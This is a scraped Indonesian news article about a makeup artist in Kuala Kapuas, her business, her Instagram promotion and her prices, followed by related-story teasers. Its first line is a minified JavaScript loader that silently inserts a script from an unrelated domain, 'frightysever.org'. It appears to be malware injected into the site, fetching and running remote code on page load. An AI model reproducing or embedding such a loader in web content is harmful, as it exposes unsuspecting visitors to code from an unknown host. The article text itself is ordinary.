(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Jasa tata rias adalah salah satu bisnis yang berkembang pesat saat ini. Berbekal keterampilan untuk mempercantik seseorang dan menutupi kekurangan pada wajah, tata rias muncul sebagai solusi tampil cantik. Nyatanya, bisnis ini menjanjikan prospek menarik di tengah banyaknya permintaan acara.
Seperti Lia Nada, perempuan cantik kelahiran Kapuas ini mencoba peruntungan melalui keterampilan make up yang ia tekuni sejak empat tahun lalu. “Awal mula terjun ke dunia make up dari hobi dan kebetulan saya kursus tata rias pengantin. Saya lihat dunia make up bisa berkembang dan tidak akan ada habisnya, makanya saya memutuskan untuk masuk ke dunia make up,” papar Lia Nada, Sabtu (27/6/2020) kepada Kanalkalimantan.com.
Meski demikian, ini bukanlah hal yang mudah. Banyak tantangan yang harus dihadapi Lia. Seperti beradaptasi dengan diri sendiri untuk disiplin waktu dan sabar menghadapi pelanggan dengan berbagai karakter. Selain itu, persaingan perias pun menjadi tantangan tersendiri.
Lia Nada awalnya menekuni bisnis kecantikan karena hobi. Foto: ags
Perempuan yang hobi mengkoleksi pernak-pernik tersebut mengakui hanya memanfaatkan media sosial sebagai media pendukung kesuksesan bisnisnya. “Sementara ini untuk promosi melalui instagram dengan mengunggah hasil riasan, dari hasil unggahan foto di Instagram tersebut, ternyata ada beberapa orang yang tertarik dan juga bisa menarik banyak klien baru yang ingin menggunakan jasa tata rias,” tutur Lia Nada.
Tidak hanya untuk urusan prewedding, namun bisnis jasa tata rias panggilan Lia Nada pun kian laris manis untuk kebutuhan pemotretan, wisuda, acara sekolah, serta kebutuhan lainnya. Tidak jarang pula para kaum hawa membutuhkan jasa tata rias untuk mempercantik penampilan mereka.
Dan untuk harga ia mengaku tidak memasang tarif terlalu tinggi cukup dengan mengeluarkan ratusan ribu rupiah. “Kalau harga tergantung kebutuhannya, untuk rias wisuda mulai dari Rp. 150.000, prewedd indoor (studio) Rp 300.000 dan prewedd outdoor (luar ruangan) Rp 400.000,” jelasnya. (kanalkalimantan.com/ags)
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More
This website uses cookies.